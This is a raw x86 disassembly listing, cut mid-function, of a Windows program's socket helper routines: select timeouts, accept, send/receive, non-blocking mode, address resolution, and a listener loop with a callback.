loc_41A805: ; CODE XREF: sub_41A7D0+26j
mov al, [esi+80Ch]
test al, al
jnz short loc_41A881
call sub_40196A
test al, al
jz short loc_41A874
mov edi, dword_511C94
loc_41A81E: ; CODE XREF: sub_41A7D0+A2j
mov eax, [esi+806h]
lea ecx, [esp+128h+var_11C]
push ecx
mov [esp+12Ch+var_100], eax
push 0
lea edx, [esp+130h+var_104]
push 0
inc eax
push edx
push eax
mov [esp+13Ch+var_104], 1
mov [esp+13Ch+var_11C], 0
mov [esp+13Ch+var_118], 64h
call edi ; select
test eax, eax
jz short loc_41A86B
mov ecx, [esi+806h]
lea eax, [esp+128h+var_104]
push eax
push ecx
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41A881
loc_41A86B: ; CODE XREF: sub_41A7D0+84j
call sub_40196A
test al, al
jnz short loc_41A81E
loc_41A874: ; CODE XREF: sub_41A7D0+46j
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A881: ; CODE XREF: sub_41A7D0+3Dj
; sub_41A7D0+99j
mov eax, [esp+128h+arg_4]
mov [esp+128h+var_120], 0FFFFFFFFh
test eax, eax
jz short loc_41A8A4
lea edx, [esp+128h+var_11C]
mov [esp+128h+var_11C], 10h
push edx
push eax
jmp short loc_41A8B6
; ---------------------------------------------------------------------------
loc_41A8A4: ; CODE XREF: sub_41A7D0+C2j
lea ecx, [esp+128h+var_11C]
lea edx, [esp+128h+var_114]
push ecx
mov [esp+12Ch+var_11C], 10h
push edx
loc_41A8B6: ; CODE XREF: sub_41A7D0+D2j
mov eax, [esi+806h]
push eax
nop
call near ptr 71AC1028h
cmp eax, 0FFFFFFFFh
mov [esp+128h+var_120], eax
jnz short loc_41A8D9
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A8D9: ; CODE XREF: sub_41A7D0+FAj
mov esi, [esp+128h+arg_0]
lea ecx, [esp+128h+var_120]
push ecx
mov ecx, esi
call sub_402108
mov dl, [esp+128h+arg_8]
pop edi
mov [esi+80Dh], dl
mov al, 1
pop esi
add esp, 120h
retn 0Ch
sub_41A7D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A960 proc near ; CODE XREF: sub_40196Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
mov edx, [esp+arg_4]
push eax
mov eax, [esp+4+arg_0]
push 0
push edx
push eax
call sub_401B4F
retn 0Ch
sub_41A960 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A990 proc near ; CODE XREF: sub_401B4Fj
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 210h
push ebx
push ebp
push esi
mov esi, ecx
push edi
cmp dword ptr [esi+806h], 0FFFFFFFFh
jz loc_41AAF4
mov al, [esi+80Bh]
test al, al
jz loc_41AAF4
mov edi, dword_5118AC
call edi
mov ebp, eax
mov al, [esi+80Dh]
test al, al
jnz loc_41AA8C
mov ebx, [esp+220h+arg_8]
test ebx, ebx
jz loc_41AA8C
call sub_40196A
test al, al
jz loc_41AA8C
loc_41A9EB: ; CODE XREF: sub_41A990+F6j
mov eax, [esi+806h]
mov ecx, 1
mov [esp+220h+var_100], eax
mov [esp+220h+var_104], ecx
mov [esp+220h+var_204], eax
mov [esp+220h+var_208], ecx
mov [esp+220h+var_210], 0
mov [esp+220h+var_20C], 64h
call edi
sub eax, ebp
cmp eax, ebx
ja loc_41AAF4
lea eax, [esp+220h+var_210]
lea ecx, [esp+220h+var_208]
push eax
mov eax, [esi+806h]
push ecx
lea edx, [esp+228h+var_104]
push 0
inc eax
push edx
push eax
nop
call near ptr 71AB2DC0h
test eax, eax
jz short loc_41AA7F
mov edx, [esi+806h]
lea ecx, [esp+220h+var_208]
push ecx
push edx
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jnz loc_41AAF4
mov ecx, [esi+806h]
lea eax, [esp+220h+var_104]
push eax
push ecx
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41AA8C
loc_41AA7F: ; CODE XREF: sub_41A990+BCj
call sub_40196A
test al, al
jnz loc_41A9EB
loc_41AA8C: ; CODE XREF: sub_41A990+39j
; sub_41A990+48j ...
call sub_40196A
test al, al
jz short loc_41AAF4
mov edx, [esp+220h+arg_4]
mov eax, [esp+220h+arg_0]
mov ecx, [esi+806h]
push 0
push edx
push eax
push ecx
nop
call near ptr 71AB615Ah
mov ecx, [esp+220h+arg_C]
test ecx, ecx
jz short loc_41AAC1
mov [ecx], eax
loc_41AAC1: ; CODE XREF: sub_41A990+12Dj
cmp eax, 0FFFFFFFFh
jz short loc_41AAD9
test eax, eax
jz short loc_41AAD9
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 210h
retn 10h
; ---------------------------------------------------------------------------
loc_41AAD9: ; CODE XREF: sub_41A990+134j
; sub_41A990+138j
nop
call near ptr 71AB94DCh
pop edi
cmp eax, 2733h
pop esi
pop ebp
setz al
pop ebx
add esp, 210h
retn 10h
; ---------------------------------------------------------------------------
loc_41AAF4: ; CODE XREF: sub_41A990+13j
; sub_41A990+21j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 210h
retn 10h
sub_41A990 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AB70: ; CODE XREF: ___:00401622j
mov eax, [ecx+806h]
cmp eax, 0FFFFFFFFh
jz short loc_41ABC1
mov dl, [ecx+80Bh]
test dl, dl
jz short loc_41ABC1
mov ecx, [esp+8]
mov edx, [esp+4]
push 0
push ecx
push edx
push eax
nop
call near ptr 71AB428Ah
mov ecx, [esp+0Ch]
test ecx, ecx
jz short loc_41ABA2
mov [ecx], eax
loc_41ABA2: ; CODE XREF: ___:0041AB9Ej
cmp eax, 0FFFFFFFFh
jz short loc_41ABB0
test eax, eax
jz short loc_41ABB0
mov al, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_41ABB0: ; CODE XREF: ___:0041ABA5j
; ___:0041ABA9j
nop
call near ptr 71AB94DCh
cmp eax, 2733h
setz al
retn 0Ch
; ---------------------------------------------------------------------------
loc_41ABC1: ; CODE XREF: ___:0041AB79j
; ___:0041AB83j
xor al, al
retn 0Ch
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41ABF0: ; CODE XREF: ___:004019BFj
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+10h], esi
call sub_40196A
test al, al
jnz short loc_41AC0C
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AC0C: ; CODE XREF: ___:0041AC02j
mov al, [esi+80Bh]
xor ebx, ebx
cmp al, bl
jnz short loc_41AC22
loc_41AC18: ; CODE XREF: ___:0041AC5Dj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AC22: ; CODE XREF: ___:0041AC16j
mov eax, [esp+1Ch]
mov ebp, [esp+18h]
xor esi, esi
dec eax
cmp eax, ebx
mov [ebp+0], bl
mov byte ptr [esp+18h], 1
jle short loc_41AC86
mov edi, ebp
loc_41AC3B: ; CODE XREF: ___:0041AC84j
cmp edi, ebx
jz short loc_41AC86
cmp [esp+18h], bl
jz short loc_41AC86
call sub_40196A
test al, al
jz short loc_41AC86
mov ecx, [esp+10h]
push ebx
push 1
push edi
call sub_40196F
test al, al
jz short loc_41AC18
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41AC71
cmp al, 0Dh
jz short loc_41AC71
cmp al, bl
jnz short loc_41AC79
loc_41AC71: ; CODE XREF: ___:0041AC67j
; ___:0041AC6Bj
mov [esi+ebp-1], bl
mov [esp+18h], bl
loc_41AC79: ; CODE XREF: ___:0041AC6Fj
mov ecx, [esp+1Ch]
inc esi
inc edi
lea eax, [ecx-1]
cmp esi, eax
jl short loc_41AC3B
loc_41AC86: ; CODE XREF: ___:0041AC37j
; ___:0041AC3Dj ...
mov edx, [esp+1Ch]
pop edi
pop esi
mov al, 1
mov [edx+ebp-1], bl
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41ACD0: ; CODE XREF: ___:004021A3j
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+10h], esi
call sub_40196A
test al, al
jnz short loc_41ACEC
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41ACEC: ; CODE XREF: ___:0041ACE2j
mov al, [esi+80Bh]
xor ebx, ebx
cmp al, bl
jnz short loc_41AD02
loc_41ACF8: ; CODE XREF: ___:0041AD3Dj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AD02: ; CODE XREF: ___:0041ACF6j
mov eax, [esp+1Ch]
mov ebp, [esp+18h]
xor esi, esi
dec eax
cmp eax, ebx
mov [ebp+0], bl
mov byte ptr [esp+18h], 1
jle short loc_41AD6D
mov edi, ebp
loc_41AD1B: ; CODE XREF: ___:0041AD6Bj
cmp edi, ebx
jz short loc_41AD6D
cmp [esp+18h], bl
jz short loc_41AD6D
call sub_40196A
test al, al
jz short loc_41AD6D
mov ecx, [esp+10h]
push ebx
push 1
push edi
call sub_40196F
test al, al
jz short loc_41ACF8
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41AD4D
cmp al, bl
jnz short loc_41AD60
loc_41AD4D: ; CODE XREF: ___:0041AD47j
cmp byte ptr [esi+ebp-1], 0Dh
jnz short loc_41AD5A
mov [esi+ebp-1], bl
jmp short loc_41AD5C
; ---------------------------------------------------------------------------
loc_41AD5A: ; CODE XREF: ___:0041AD52j
mov [edi], bl
loc_41AD5C: ; CODE XREF: ___:0041AD58j
mov [esp+18h], bl
loc_41AD60: ; CODE XREF: ___:0041AD4Bj
mov ecx, [esp+1Ch]
inc esi
inc edi
lea eax, [ecx-1]
cmp esi, eax
jl short loc_41AD1B
loc_41AD6D: ; CODE XREF: ___:0041AD17j
; ___:0041AD1Dj ...
mov edx, [esp+1Ch]
pop edi
pop esi
mov al, 1
mov [edx+ebp-1], bl
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41ADB0: ; CODE XREF: ___:00401082j
push esi
mov esi, ecx
call sub_40196A
test al, al
jnz short loc_41ADC2
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41ADC2: ; CODE XREF: ___:0041ADBAj
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jnz short loc_41ADD3
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41ADD3: ; CODE XREF: ___:0041ADCBj
mov ecx, [esp+0Ch]
mov edx, [esp+8]
push ecx
push edx
push eax
nop
call near ptr 71AB951Eh
pop esi
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41AE00 proc near ; CODE XREF: sub_4018A2j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
call sub_40196A
test al, al
jnz short loc_41AE12
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AE12: ; CODE XREF: sub_41AE00+Aj
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jnz short loc_41AE23
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AE23: ; CODE XREF: sub_41AE00+1Bj
mov ecx, [esp+4+arg_4]
mov edx, [esp+4+arg_0]
push ecx
push edx
push eax
call near ptr 71AC0B50h
nop
pop esi
retn 8
sub_41AE00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AE50: ; CODE XREF: ___:00401C53j
sub esp, 10Ch
push esi
mov esi, ecx
xor ecx, ecx
mov al, [esi+80Ch]
cmp al, cl
mov eax, [esi+806h]
jnz short loc_41AE8F
cmp eax, 0FFFFFFFFh
jz short loc_41AE85
cmp [esi+80Bh], cl
jz short loc_41AE85
mov eax, 1
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AE85: ; CODE XREF: ___:0041AE6Ej
; ___:0041AE76j
xor eax, eax
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AE8F: ; CODE XREF: ___:0041AE69j
lea edx, [esp+4]
mov [esp+10h], eax
push edx
lea edx, [esp+10h]
push ecx
push edx
inc eax
push ecx
push eax
mov dword ptr [esp+20h], 1
mov [esp+18h], ecx
mov [esp+1Ch], ecx
nop
call near ptr 71AB2DC0h
test eax, eax
jnz short loc_41AEC5
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AEC5: ; CODE XREF: ___:0041AEB9j
mov ecx, [esi+806h]
lea eax, [esp+0Ch]
push eax
push ecx
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
setnz al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AF20: ; CODE XREF: ___:004016EFj
sub esp, 10Ch
push esi
mov esi, ecx
xor ecx, ecx
cmp [esi+80Ch], cl
jnz short loc_41AF3D
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AF3D: ; CODE XREF: ___:0041AF31j
mov eax, [esi+806h]
lea edx, [esp+4]
push edx
lea edx, [esp+10h]
mov [esp+14h], eax
push edx
push ecx
inc eax
push ecx
push eax
mov dword ptr [esp+20h], 1
mov [esp+18h], ecx
mov [esp+1Ch], ecx
nop
call near ptr 71AB2DC0h
test eax, eax
jnz short loc_41AF79
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AF79: ; CODE XREF: ___:0041AF6Dj
mov ecx, [esi+806h]
lea eax, [esp+0Ch]
push eax
push ecx
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
setnz al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AFC0: ; CODE XREF: ___:00401744j
push esi
mov esi, [esp+8]
push edi
mov edi, ecx
push 800h
lea edx, [esi+6]
mov ax, [edi+4]
lea ecx, [edi+6]
push ecx
push edx
mov [esi+4], ax
nop
call near ptr 77C47A90h
xor al, al
add esp, 0Ch
mov dword ptr [esi+806h], 0FFFFFFFFh
mov [esi+80Ch], al
mov [esi+80Bh], al
mov al, [edi+80Dh]
mov [esi+80Dh], al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B030 proc near ; CODE XREF: sub_4018CAj
arg_0 = dword ptr 4
mov al, byte ptr [esp+arg_0]
test al, al
mov [ecx+80Ch], al
jz short loc_41B060
mov ecx, [ecx+806h]
lea eax, [esp+arg_0]
push eax
push 8004667Eh
push ecx
mov [esp+0Ch+arg_0], 1
nop
call near ptr 71AB4519h
retn 4
; ---------------------------------------------------------------------------
loc_41B060: ; CODE XREF: sub_41B030+Cj
mov eax, [ecx+806h]
lea edx, [esp+arg_0]
push edx
push 8004667Eh
push eax
mov [esp+0Ch+arg_0], 0
nop
call near ptr 71AB4519h
retn 4
sub_41B030 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B0B0 proc near ; CODE XREF: sub_401186j
push esi
mov esi, ecx
push 0
lea ecx, [esi+4]
call sub_401C49
mov dword ptr [esi], offset off_43F0C0
mov eax, esi
pop esi
retn
sub_41B0B0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B0E0 proc near ; CODE XREF: ___:00401924j sub_401E92j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_40187A
test [esp+4+arg_0], 1
jz short loc_41B0F8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_41B0F8: ; CODE XREF: sub_41B0E0+Dj
mov eax, esi
pop esi
retn 4
sub_41B0E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B110 proc near ; CODE XREF: sub_40187Aj
mov dword ptr [ecx], offset off_43F0C0
add ecx, 4
jmp sub_401FE6
sub_41B110 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B130 proc near ; CODE XREF: sub_401640j
arg_0 = dword ptr 4
push esi
push edi
call sub_40196A
test al, al
jnz short loc_41B142
pop edi
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_41B142: ; CODE XREF: sub_41B130+9j
mov esi, [esp+8+arg_0]
push esi
nop
call near ptr 71AB2BF4h
cmp eax, 0FFFFFFFFh
jnz short loc_41B195
push esi
call near ptr 71AB4FD4h
nop
mov edi, eax
test edi, edi
jnz short loc_41B167
pop edi
or eax, 0FFFFFFFFh
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_41B167: ; CODE XREF: sub_41B130+2Dj
mov eax, [edi+0Ch]
xor esi, esi
cmp dword ptr [eax], 0
jz short loc_41B17C
loc_41B171: ; CODE XREF: sub_41B130+4Aj
mov ecx, [eax+4]
add eax, 4
inc esi
test ecx, ecx
jnz short loc_41B171
loc_41B17C: ; CODE XREF: sub_41B130+3Fj
call sub_401F0A
dec esi
push esi
push 0
call sub_4021C6
; ---------------------------------------------------------------------------
mov ecx, [edi+0Ch]
add esp, 8
mov edx, [ecx+eax*4]
mov eax, [edx]
loc_41B195: ; CODE XREF: sub_41B130+20j
pop edi
pop esi
retn 4
sub_41B130 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B1C0: ; CODE XREF: ___:004020B3j
push 0FFFFFFFFh
push offset loc_43C017
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 38h
push ebx
push esi
xor ebx, ebx
push edi
mov [esp+0Ch], ebx
call sub_40196A
test al, al
jnz short loc_41B1FF
mov eax, [esp+58h]
mov esi, [esp+54h]
push eax
mov ecx, esi
call sub_401870
jmp loc_41B3AB
; ---------------------------------------------------------------------------
loc_41B1FF: ; CODE XREF: ___:0041B1E8j
mov ecx, [esp+58h]
push ecx
lea ecx, [esp+30h]
call sub_401870
mov edi, 1
lea ecx, [esp+2Ch]
mov [esp+4Ch], edi
call sub_4017EE
test eax, eax
push offset byte_448F30
jnz short loc_41B23C
mov esi, [esp+58h]
mov ecx, esi
call sub_401870
mov [esp+0Ch], edi
jmp loc_41B39E
; ---------------------------------------------------------------------------
loc_41B23C: ; CODE XREF: ___:0041B226j
lea ecx, [esp+30h]
call sub_4012EE
test eax, eax
push offset byte_448F30
jnz short loc_41B262
mov esi, [esp+58h]
mov ecx, esi
call sub_401870
mov [esp+0Ch], edi
jmp loc_41B39E
; ---------------------------------------------------------------------------
loc_41B262: ; CODE XREF: ___:0041B24Cj
lea ecx, [esp+18h]
call sub_401870
lea edx, [esp+10h]
push ebx
push edx
push ebx
push ebx
push 0Fh
lea ecx, [esp+40h]
mov byte ptr [esp+60h], 2
call sub_4017EE
push eax
call sub_4382C2
; ---------------------------------------------------------------------------
cmp eax, ebx
jz short loc_41B2A6
mov esi, [esp+54h]
lea eax, [esp+14h]
push eax
mov ecx, esi
call sub_4014D3
mov [esp+0Ch], edi
jmp loc_41B390
; ---------------------------------------------------------------------------
loc_41B2A6: ; CODE XREF: ___:0041B28Bj
mov edi, [esp+10h]
mov esi, offset dword_4447F8
mov ecx, [edi]
mov eax, [ecx+4]
loc_41B2B4: ; CODE XREF: ___:0041B2D2j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_41B2D8
cmp cl, bl
jz short loc_41B2D4
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_41B2D8
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_41B2B4
loc_41B2D4: ; CODE XREF: ___:0041B2BEj
xor eax, eax
jmp short loc_41B2DD
; ---------------------------------------------------------------------------
loc_41B2D8: ; CODE XREF: ___:0041B2BAj
; ___:0041B2C8j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41B2DD: ; CODE XREF: ___:0041B2D6j
cmp eax, ebx
jz short loc_41B34B
push ebp
loc_41B2E2: ; CODE XREF: ___:0041B335j
; ___:0041B339j
nop
call near ptr 27F0CAAh
and eax, 0Fh
cmp al, 8
jnz short loc_41B2F6
cmp word ptr [edi+8], 0Fh
jz short loc_41B33B
loc_41B2F6: ; CODE XREF: ___:0041B2EDj
mov edi, [edi]
mov ebp, [esp+14h]
cmp edi, ebx
jnz short loc_41B302
mov edi, ebp
loc_41B302: ; CODE XREF: ___:0041B2FEj
mov eax, [edi+4]
mov esi, offset dword_4447F8
loc_41B30A: ; CODE XREF: ___:0041B328j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_41B32E
cmp cl, bl
jz short loc_41B32A
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_41B32E
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_41B30A
loc_41B32A: ; CODE XREF: ___:0041B314j
xor eax, eax
jmp short loc_41B333
; ---------------------------------------------------------------------------
loc_41B32E: ; CODE XREF: ___:0041B310j
; ___:0041B31Ej
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41B333: ; CODE XREF: ___:0041B32Cj
cmp eax, ebx
jnz short loc_41B2E2
mov edi, ebp
jmp short loc_41B2E2
; ---------------------------------------------------------------------------
loc_41B33B: ; CODE XREF: ___:0041B2F4j
mov eax, [edi+18h]
lea ecx, [esp+18h]
push eax
call sub_4015E1
pop ebp
jmp short loc_41B358
; ---------------------------------------------------------------------------
loc_41B34B: ; CODE XREF: ___:0041B2DFj
mov ecx, [edi+18h]
push ecx
lea ecx, [esp+18h]
call sub_4015E1
loc_41B358: ; CODE XREF: ___:0041B349j
push offset byte_448F30
lea ecx, [esp+18h]
call sub_4012EE
test eax, eax
jnz short loc_41B378
mov edx, [esp+58h]
lea ecx, [esp+14h]
push edx
call sub_4015E1
loc_41B378: ; CODE XREF: ___:0041B368j
mov esi, [esp+54h]
lea eax, [esp+14h]
push eax
mov ecx, esi
call sub_4014D3
mov dword ptr [esp+0Ch], 1
loc_41B390: ; CODE XREF: ___:0041B2A1j
lea ecx, [esp+14h]
mov byte ptr [esp+4Ch], 1
call sub_401226
loc_41B39E: ; CODE XREF: ___:0041B237j
; ___:0041B25Dj
lea ecx, [esp+2Ch]
mov [esp+4Ch], bl
call sub_401226
loc_41B3AB: ; CODE XREF: ___:0041B1FAj
mov ecx, [esp+44h]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 44h
retn 8
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B460: ; CODE XREF: ___:00402153j
push esi
mov esi, ecx
call sub_401E88
push 0
lea ecx, [esi+15h]
call sub_401C49
mov dword ptr [esi], offset off_43F0C4
mov dword ptr [esi+11h], 0
mov dword ptr [esi+823h], 0
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B4A0 proc near ; CODE XREF: sub_401406j ___:00402036j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401BE0
test [esp+4+arg_0], 1
jz short loc_41B4B8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_41B4B8: ; CODE XREF: sub_41B4A0+Dj
mov eax, esi
pop esi
retn 4
sub_41B4A0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B4D0 proc near ; CODE XREF: sub_401BE0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41B4D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401FE6
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41B4D0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B540: ; CODE XREF: ___:00401D52j
push esi
mov esi, ecx
call sub_401E88
push 0
lea ecx, [esi+15h]
call sub_401C49
mov eax, [esp+8]
mov ecx, [esp+0Ch]
mov [esi+11h], eax
mov dword ptr [esi], offset off_43F0C4
mov [esi+823h], ecx
mov eax, esi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B580 proc near ; CODE XREF: sub_401686j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 14h
push edi
mov edi, ecx
mov eax, [edi+11h]
test eax, eax
jz loc_41B690
mov ecx, [edi+823h]
test ecx, ecx
jz loc_41B690
push ebx
push ebp
lea ebx, [edi+15h]
push esi
push eax
mov ecx, ebx
xor esi, esi
call sub_401492
mov ebp, dword_5118D8
test al, al
jnz short loc_41B5E3
loc_41B5B9: ; CODE XREF: sub_41B580+61j
mov al, [edi+10h]
test al, al
jz loc_41B67F
mov al, byte_4E8E44
test al, al
jz short loc_41B5E3
push 7D0h
call ebp
mov eax, [edi+11h]
mov ecx, ebx
push eax
call sub_401492
test al, al
jz short loc_41B5B9
loc_41B5E3: ; CODE XREF: sub_41B580+37j
; sub_41B580+4Bj
mov al, [edi+10h]
test al, al
jz loc_41B67F
loc_41B5EE: ; CODE XREF: sub_41B580+F9j
mov al, byte_4E8E44
test al, al
jz loc_41B67F
test esi, esi
jnz short loc_41B61E
push 80Eh
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_41B61A
push esi
mov ecx, eax
call sub_401C49
jmp short loc_41B61C
; ---------------------------------------------------------------------------
loc_41B61A: ; CODE XREF: sub_41B580+8Ej
xor eax, eax
loc_41B61C: ; CODE XREF: sub_41B580+98j
mov esi, eax
loc_41B61E: ; CODE XREF: sub_41B580+7Dj
push 0
push 0
push esi
mov ecx, ebx
call sub_401B95
test al, al
jnz short loc_41B637
push 7D0h
call ebp
jmp short loc_41B674
; ---------------------------------------------------------------------------
loc_41B637: ; CODE XREF: sub_41B580+ACj
xor ecx, ecx
lea edx, [esp+24h+var_14]
mov [esp+24h+var_10], ecx
lea eax, [esp+24h+var_10]
mov [esp+24h+var_C], ecx
push edx
mov [esp+28h+var_8], ecx
push eax
mov [esp+2Ch+var_4], ecx
mov ecx, esi
mov [esp+2Ch+var_14], 10h
call sub_4018A2
mov al, byte ptr [esp+24h+var_C]
test al, al
jz short loc_41B674
push esi
call dword ptr [edi+823h]
add esp, 4
loc_41B674: ; CODE XREF: sub_41B580+B5j
; sub_41B580+E8j
mov al, [edi+10h]
test al, al
jnz loc_41B5EE
loc_41B67F: ; CODE XREF: sub_41B580+3Ej
; sub_41B580+68j ...
mov ecx, ebx
call sub_4014E7
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_41B690: ; CODE XREF: sub_41B580+Bj
; sub_41B580+19j
xor eax, eax
pop edi
add esp, 14h
retn
sub_41B580 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B6F0 proc near ; CODE XREF: sub_402108j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov edx, [eax]
mov [ecx+806h], edx
mov edx, [eax]
cmp edx, 0FFFFFFFFh
setnz al
mov [ecx+80Bh], al
retn 4
sub_41B6F0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B720: ; CODE XREF: ___:00401C35j
mov eax, [esp+0Ch]
push ebx
push ebp
mov ebp, [esp+10h]
push esi
push edi
xor ebx, ebx
xor edi, edi
dec eax
mov [ebp+0], bl
cmp eax, ebx
mov byte ptr [esp+18h], 1
jle short loc_41B795
mov esi, ebp
loc_41B73F: ; CODE XREF: ___:0041B793j
cmp esi, ebx
jz short loc_41B795
cmp [esp+18h], bl
jz short loc_41B795
mov ecx, [esp+14h]
push ebx
push 1
push esi
push ecx
nop
call near ptr 71AB615Ah
cmp eax, ebx
jz short loc_41B7A4
cmp eax, 0FFFFFFFFh
